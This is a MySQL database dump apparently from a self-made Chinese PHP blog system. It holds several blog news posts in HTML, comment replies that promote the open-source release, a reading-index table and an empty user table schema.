INSERT INTO `lei_news` VALUES ('18', '李雷博客终于上线啦！孤独的祝贺一下寡人！', '32783278 32553255 18091809 31453145 54535453 51585158 41474147 47634763 32183218 03010301 25342534 22322232 21362136 55035503 26562656 50275027 47344734 25492549 40434043 03010301', '1', '../upload_image/2015/10/15/0891cf6ceef3c91e0c98e7fbe5679730', '2015-10-15 15:53:13', '本站原创', '<p style=\"text-align:center\"><img src=\"/upload_file/image/2015/10/15/1444895587589492.jpg\" title=\"\" alt=\"\" border=\"0\" vspace=\"0\" width=\"660\" height=\"440\" style=\"width: 660px; height: 440px;\"/></p><p style=\"text-indent: 2em; text-align: left;\">折腾快一个月的个人博客终于上线了。从页面设计到程序的编写还真是费了不少功夫，设计思路总是不断调整，尤其在用户评论功能上花费了很大脑筋， 通宵熬夜到凌晨直至头晕、眼花、效率下降才不得不停手睡觉，不过最终的效果还是令我满意的。博客没有花哨的页面和功能，因为我只求简洁大方就可以了。</p><p style=\"text-indent: 2em; text-align: left;\">关于李雷博客域名的选择，有人会问既然是个人博客就应该选择一个和自己名字相关的域名，为什么会选择mdaima.com呢？说实话，我自己也是非常想使用lilei.com或是lilei.cn这样的域名，可是全被别人注册了，也许是因为李雷和韩梅梅在80后心中那段爱情故事的缘故吧，所有和李雷相关的域名都很紧俏啊，我也询问了一个lilei.com域名的持有者，居然要价20万人民币，听到这个价格我连还嘴的勇气都没有了，只能不情愿地放弃了。对于mdaima.com这个域名，主要是因为我现在的工作每天就是不停的在“码代码”想想也算沾边，再就是我想要一个.com的域名，而且本人还有极度强迫症，想要一个整整齐齐的域名，不喜欢用j、l、p这些不在一条线上、爱出头的字母，最后就算选择了mdaima.com这个域名。不过我自己也注册了lilei.xyz域名，觉得.xyz也比较有个性，但是没有正式启用，一是目前工信部无法备案，再一个绑定多个域名会分摊域名权重，所以暂且就当收藏吧，其实域名还真是挺让我纠结的！</p><p style=\"text-indent: 2em; text-align: left;\">这个博客站是采用PHP+MYSQL开发的，没有采用任何的框架模板，完全按照设计思路将前端和后台纯手工一行一行代码敲上去的。因为我是个纯粹的技术控，想把学到的技术在博客上都有体现，各位博友在网站的细节上应该能够感受得到。</p><p style=\"text-indent: 2em; text-align: left;\">做这个博客的目的，主要是对自己经验的积累和技术的磨练。网站开发中遇到的问题和解决办法会以博文分享在这里，偶尔遇到喜欢的文章也会随手整理收藏，这样可以方便自己日后快速检索代码片断，形成自己的开发问题库，慢慢的开发就真的变成了复制粘贴，因为每一项技术功能在这个博客上都能找到影子。后期在博客中我会把一些重要的思路和代码拿出来与大家分享。</p><p style=\"text-indent: 2em; text-align: left;\">欢迎大家在博客中给我留言，一起交流学习！</p>', '3067', '1', '1', '1', '李雷博客上线,码代码上线');
INSERT INTO `lei_news` VALUES ('19', '360浏览器网站九宫格LOGO标签申请网址及设计规范', '3AAAAA 6AAAAA 0AAAAA 68156815 32323232 38873887 45884588 53305330 30373037 25122512 24812481 LAAAAA OAAAAA GAAAAA OAAAAA 17741774 39093909 41744174 39753975 45884588 54235423 28162816 41724172 28382838 25702570 23222322', '0', '../upload_image/2015/10/16/afe000719333581000b9715c33c44a4e', '2015-10-16 08:28:40', '本站整理+微Fan\'天空', '<p style=\"text-indent: 0em; text-align: left;\">一、如果您希望在浏览器的九宫格中展示您自己网站的LOGO图，欢迎到提交平台进行申请，步骤如下：</p><p style=\"text-indent: 0em; text-align: left;\">1、根据九宫格的图片规范，设计一张该网站的LOGO图。图片尺寸为370*224px，图片格式为png，并存储为web所用格式以减小图片大小。</p><p style=\"text-indent: 0em; text-align: left;\">2、将图片提交到 <a href=\"http://site.browser.360.cn/master/\" target=\"_blank\" style=\"font-size: 16px; text-decoration: underline;\"><span style=\"font-size: 16px;\">http://site.browser.360.cn/master/</span></a></p><p style=\"text-indent: 0em; text-align: left;\">3、每次提交为一个域名申请，如果你希望为多个网站申请，请分别提交。</p><p style=\"text-indent: 0em; text-align: left;\"><span style=\"text-indent: 0em;\">4、请严格按照规范进行设计，不符合规范的图片不会被采用。我们会人工审核每个申请，挑选质量优秀的图片使用。</span></p><p style=\"text-indent: 0em; text-align: left;\"><span style=\"text-indent: 0em;\">二、九宫格规范：</span></p><p style=\"text-align:center\"><span style=\"text-indent: 0em;\"><img src=\"/upload_file/image/2015/10/18/1445174471628393.png\" title=\"\" alt=\"\" width=\"638\" height=\"333\" border=\"0\" vspace=\"0\" style=\"width: 638px; height: 333px;\"/></span></p>', '6218', '1', '1', '1', '360浏览器LOGO,360浏览器标签,360九宫格地址');
INSERT INTO `lei_news` VALUES ('20', '科技博客36氪完成D轮融资', '31383138 28282828 18091809 31453145 3AAAAA 6AAAAA 75207520 45744574 19411941 DAAAAA 34543454 40584058 55425542', '0', '../upload_image/2015/10/18/35a49ee53c6f05e8a40854b5fdc780d9', '2015-10-18 23:34:11', '互联网转载', '<p style=\"text-indent: 2em; text-align: left;\">10月15日，36氪已完成由蚂蚁金服领投，华泰瑞麟(华泰证券旗下TMT基金)、经纬中国跟投的D轮融资。蚂蚁宣布，将以战略投资的方式入股36氪，并向36氪全面开放在线支付、私募股权融资、技术、云计算等多个领域模块，双方共同推进创业生态服务发展。</p><p style=\"text-indent: 2em; text-align: left;\">成立于2010年底，经过五年发展，36氪三大业务构逐渐浮出水面，形成了36氪融资、氪空间及36氪媒体的创业生态服务矩阵，在融资业务里，推出了私募股权投资平台业务，并借助该业务踏足互联网金融领域，此时的36氪才算渐露真身。</p><p style=\"text-indent: 2em; text-align: left;\">36氪核心优势在于平台的“自我造血”功能，36氪媒体、氪空间作为项目入口，为融资平台源源不断输送优质项目。截至目前，平台上聚集了超过33000家创业公司，有超过4400家创业公司正在36氪平台上进行融资，并通过各项创业服务和产品，为不同阶段创业公司提供创业服务。</p>', '1383', '1', '0', '1', '36氪D轮融资');
INSERT INTO `lei_news` VALUES ('93', 'PHP博客系统-由李雷博客 www.mdaima.com 开发并免费开源分享', 'PAAAAA HAAAAA PAAAAA 18091809 31453145 47214721 45194519 -115-160-115-160 51415141 32783278 32553255 18091809 31453145 wAAAAA wAAAAA wAAAAA -114-160-114-160 mAAAAA dAAAAA aAAAAA iAAAAA mAAAAA aAAAAA -114-160-114-160 cAAAAA oAAAAA mAAAAA 31103110 23022302 18021802 35663566 23492349 31103110 52205220 23542354 47774777', '1', '../upload_image/2020/04/02/b7e75d1a09d3a55a5920732aff039c3e', '2020-04-02 12:14:38', '本站原创', '<p>PHP博客系统-由李雷博客 www.mdaima.com 开发并免费开源分享。</p><p>希望这套博客系统对您有用，同时也希望您能为李雷博客保留一个友情链接。</p>', '3', '1', '1', '1', '李雷博客');

-- ----------------------------
-- Table structure for `lei_news_hf`
-- ----------------------------
DROP TABLE IF EXISTS `lei_news_hf`;
CREATE TABLE `lei_news_hf` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `cid` varchar(20) NOT NULL,
  `cid_hf` varchar(20) NOT NULL COMMENT '评论的二次回复',
  `cid_str` varchar(50) NOT NULL COMMENT '评论二次回复的昵称如 张三回复李四，李四写入这里，记录被回复人',
  `content` text NOT NULL,
  `username` varchar(50) NOT NULL,
  `nicheng` varchar(30) NOT NULL COMMENT '随机游客记录昵称',
  `xuan_img` varchar(180) NOT NULL COMMENT '随机游客的头像记录1-26',
  `indate` datetime NOT NULL,
  `pass` varchar(5) NOT NULL,
  `ip` varchar(20) NOT NULL,
  PRIMARY KEY (`id`),
  KEY `cid` (`cid`),
  KEY `username` (`username`),
  KEY `cid_hf` (`cid_hf`),
  KEY `pass` (`pass`)
) ENGINE=MyISAM AUTO_INCREMENT=586 DEFAULT CHARSET=utf8 COMMENT='随手记回复表';

-- ----------------------------
-- Records of lei_news_hf
-- ----------------------------
INSERT INTO `lei_news_hf` VALUES ('580', '93', '', '', '<p>PHP博客系统-由李雷博客 www.mdaima.com 开发并免费开源分享。</p><p>希望这套博客系统对您有用，同时也希望您能为李雷博客保留一个友情链接。</p>', 'mdaima#858353007@qq.com', 'Powerby李雷', '/images/touxiang/16.jpg', '2020-04-06 15:45:00', '1', '127.0.0.1');
INSERT INTO `lei_news_hf` VALUES ('581', '93', '', '', '<p>PHP博客系统-由李雷博客 www.mdaima.com 开发并免费开源分享。</p><p>希望这套博客系统对您有用，同时也希望您能为李雷博客保留一个友情链接。</p><p><br/></p>', 'mdaima#858353007@qq.com', 'Powerby李雷', '/images/touxiang/16.jpg', '2020-04-06 15:45:07', '1', '127.0.0.1');
INSERT INTO `lei_news_hf` VALUES ('582', '93', '', '', '<p>PHP博客系统-由李雷博客 www.mdaima.com 开发并免费开源分享。</p><p>希望这套博客系统对您有用，同时也希望您能为李雷博客保留一个友情链接。</p><p><br/></p>', 'mdaima#858353007@qq.com', 'Powerby李雷', '/images/touxiang/16.jpg', '2020-04-06 15:45:13', '1', '127.0.0.1');
INSERT INTO `lei_news_hf` VALUES ('583', '93', '', '', '<p>PHP博客系统-由李雷博客 www.mdaima.com 开发并免费开源分享。</p><p>希望这套博客系统对您有用，同时也希望您能为李雷博客保留一个友情链接。</p><p><br/></p>', 'mdaima#858353007@qq.com', 'Powerby李雷', '/images/touxiang/16.jpg', '2020-04-06 15:45:18', '1', '127.0.0.1');
INSERT INTO `lei_news_hf` VALUES ('584', '93', '', '', '<p>PHP博客系统-由李雷博客 www.mdaima.com 开发并免费开源分享。</p><p>希望这套博客系统对您有用，同时也希望您能为李雷博客保留一个友情链接。</p><p><br/></p>', 'mdaima#858353007@qq.com', 'Powerby李雷', '/images/touxiang/16.jpg', '2020-04-06 15:45:24', '1', '127.0.0.1');
INSERT INTO `lei_news_hf` VALUES ('585', '93', '', '', '<p>PHP博客系统-由李雷博客 www.mdaima.com 开发并免费开源分享。</p><p>希望这套博客系统对您有用，同时也希望您能为李雷博客保留一个友情链接。</p>', 'mdaima#858353007@qq.com', 'Powerby李雷', '/images/touxiang/16.jpg', '2020-04-06 15:45:33', '1', '127.0.0.1');

-- ----------------------------
-- Table structure for `lei_read`
-- ----------------------------
DROP TABLE IF EXISTS `lei_read`;
CREATE TABLE `lei_read` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `cid` int(11) NOT NULL,
  `tables` varchar(30) NOT NULL,
  `indate` datetime NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=5104311 DEFAULT CHARSET=utf8 COMMENT='首页调用文章列表的过渡表';

-- ----------------------------
-- Records of lei_read
-- ----------------------------
INSERT INTO `lei_read` VALUES ('5104291', '33', 'lei_jingyan', '2015-11-03 14:40:11');
INSERT INTO `lei_read` VALUES ('5104292', '32', 'lei_jingyan', '2015-10-20 08:49:59');
INSERT INTO `lei_read` VALUES ('5104293', '31', 'lei_jingyan', '2015-10-19 08:39:47');
INSERT INTO `lei_read` VALUES ('5104294', '30', 'lei_jingyan', '2015-10-19 08:28:40');
INSERT INTO `lei_read` VALUES ('5104295', '29', 'lei_jingyan', '2015-10-18 13:01:48');
INSERT INTO `lei_read` VALUES ('5104296', '21', 'lei_jingyan', '2015-10-10 09:41:42');
INSERT INTO `lei_read` VALUES ('5104297', '20', 'lei_jingyan', '2015-10-09 00:25:40');
INSERT INTO `lei_read` VALUES ('5104298', '19', 'lei_jingyan', '2015-10-07 00:34:34');
INSERT INTO `lei_read` VALUES ('5104299', '16', 'lei_jingyan', '2015-09-27 22:56:22');
INSERT INTO `lei_read` VALUES ('5104300', '14', 'lei_jingyan', '2015-09-22 23:45:51');
INSERT INTO `lei_read` VALUES ('5104301', '93', 'lei_news', '2020-04-02 12:14:38');
INSERT INTO `lei_read` VALUES ('5104302', '20', 'lei_news', '2015-10-18 23:34:11');
INSERT INTO `lei_read` VALUES ('5104303', '19', 'lei_news', '2015-10-16 08:28:40');
INSERT INTO `lei_read` VALUES ('5104304', '18', 'lei_news', '2015-10-15 15:53:13');
INSERT INTO `lei_read` VALUES ('5104305', '17', 'lei_news', '2015-10-15 15:29:13');
INSERT INTO `lei_read` VALUES ('5104306', '16', 'lei_news', '2015-10-13 13:38:38');
INSERT INTO `lei_read` VALUES ('5104307', '14', 'lei_news', '2015-10-02 23:51:45');
INSERT INTO `lei_read` VALUES ('5104308', '13', 'lei_news', '2015-10-01 15:14:58');
INSERT INTO `lei_read` VALUES ('5104309', '11', 'lei_news', '2015-09-21 15:36:46');
INSERT INTO `lei_read` VALUES ('5104310', '10', 'lei_news', '2015-09-21 15:33:22');

-- ----------------------------
-- Table structure for `lei_user`
-- ----------------------------
DROP TABLE IF EXISTS `lei_user`;
CREATE TABLE `lei_user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `tel` varchar(15) NOT NULL,
  `userimg` varchar(150) NOT NULL,
  `password` varchar(50) NOT NULL,
  `nicheng` varchar(30) NOT NULL,
  `nicheng_py` varchar(20) NOT NULL,
  `jifen` varchar(30) NOT NULL,
  `jifen_all` varchar(30) NOT NULL COMMENT '历史积分总数',
  `pass` varchar(10) NOT NULL,
  `indate` datetime NOT NULL,
  `lasttime` datetime NOT NULL,
  PRIMARY KEY (`id`),
  KEY `username` (`username`)
) ENGINE=MyISAM AUTO_INCREMENT=219 DEFAULT CHARSET=utf8 COMMENT='会员表';

-- ----------------------------
-- Records of lei_user
-- ----------------------------
